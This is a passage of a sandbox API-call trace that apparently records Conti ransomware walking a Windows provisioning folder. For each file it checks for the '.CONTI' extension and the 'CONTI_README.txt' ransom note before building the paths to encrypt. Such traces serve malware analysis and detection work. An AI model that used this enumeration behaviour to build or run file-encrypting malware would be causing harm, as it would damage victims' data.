	[0109.495] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.495] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0109.495] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fd7b44, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fd7b44, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fd7b44, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="437__C~1.PRO")) returned 1
	[0109.495] lstrcmpiW (lpString1="437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.495] lstrcmpiW (lpString1="437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.495] StrStrIW (lpFirst="437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.495] StrStrIW (lpFirst="437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.496] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.496] lstrlenW (lpString="437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml") returned 68
	[0109.496] GetProcessHeap () returned 0x1720000
	[0109.496] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x1807230
	[0109.496] lstrcpyW (in: lpString1=0x1807230, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.496] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.496] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\437__Connections_Cellular_TransAsia (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0109.496] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ffddb3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ffddb3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ffddb3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="438__C~1.PRO")) returned 1
	[0109.496] lstrcmpiW (lpString1="438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.496] lstrcmpiW (lpString1="438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.496] StrStrIW (lpFirst="438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.496] StrStrIW (lpFirst="438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.496] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.496] lstrlenW (lpString="438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml") returned 71
	[0109.496] GetProcessHeap () returned 0x1720000
	[0109.496] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x656c6b8
	[0109.496] lstrcpyW (in: lpString1=0x656c6b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.496] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.496] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0109.496] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ffddb3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ffddb3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ffddb3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="439__C~1.PRO")) returned 1
	[0109.498] lstrcmpiW (lpString1="439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.498] lstrcmpiW (lpString1="439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.498] StrStrIW (lpFirst="439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.498] StrStrIW (lpFirst="439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.498] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.498] lstrlenW (lpString="439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml") returned 71
	[0109.498] GetProcessHeap () returned 0x1720000
	[0109.498] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x656c968
	[0109.498] lstrcpyW (in: lpString1=0x656c968, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.498] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.498] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\439__Connections_Cellular_VIBO Telecom (Taiwan)_i1$(__MVID)@WAP.provxml"
	[0109.498] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90247f0e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90247f0e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90247f0e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml", cAlternateFileName="43__CO~1.PRO")) returned 1
	[0109.498] lstrcmpiW (lpString1="43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.498] lstrcmpiW (lpString1="43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.498] StrStrIW (lpFirst="43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.498] StrStrIW (lpFirst="43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.498] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.498] lstrlenW (lpString="43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml") returned 65
	[0109.498] GetProcessHeap () returned 0x1720000
	[0109.498] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x1808048
	[0109.498] lstrcpyW (in: lpString1=0x1808048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.498] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.499] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml"
	[0109.499] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ffddb3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ffddb3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ffddb3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml", cAlternateFileName="440__C~1.PRO")) returned 1
	[0109.499] lstrcmpiW (lpString1="440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.499] lstrcmpiW (lpString1="440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.499] StrStrIW (lpFirst="440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.499] StrStrIW (lpFirst="440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.499] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.499] lstrlenW (lpString="440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml") returned 71
	[0109.499] GetProcessHeap () returned 0x1720000
	[0109.499] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x656cec8
	[0109.499] lstrcpyW (in: lpString1=0x656cec8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.499] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.499] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml"
	[0109.499] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ffddb3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ffddb3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ffddb3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="441__C~1.PRO")) returned 1
	[0109.499] lstrcmpiW (lpString1="441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0109.499] lstrcmpiW (lpString1="441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0109.499] StrStrIW (lpFirst="441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.499] StrStrIW (lpFirst="441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.499] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.499] lstrlenW (lpString="441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 68
	[0109.499] GetProcessHeap () returned 0x1720000
	[0109.499] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x1807608
	[0109.499] lstrcpyW (in: lpString1=0x1807608, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.499] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.499] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0109.499] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ffddb3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ffddb3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ffddb3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="442__C~1.PRO")) returned 1
	[0109.499] lstrcmpiW (lpString1="442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.499] lstrcmpiW (lpString1="442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.499] StrStrIW (lpFirst="442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.499] StrStrIW (lpFirst="442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.500] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.500] lstrlenW (lpString="442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml") returned 77
	[0109.500] GetProcessHeap () returned 0x1720000
	[0109.500] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x150) returned 0x656d020
	[0109.500] lstrcpyW (in: lpString1=0x656d020, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.500] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.500] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml"
	[0109.500] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ffddb3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ffddb3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ffddb3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="443__C~1.PRO")) returned 1
	[0109.500] lstrcmpiW (lpString1="443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.500] lstrcmpiW (lpString1="443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.500] StrStrIW (lpFirst="443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.500] StrStrIW (lpFirst="443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.500] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.500] lstrlenW (lpString="443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.500] GetProcessHeap () returned 0x1720000
	[0109.500] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6b80748
	[0109.500] lstrcpyW (in: lpString1=0x6b80748, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.500] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.500] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
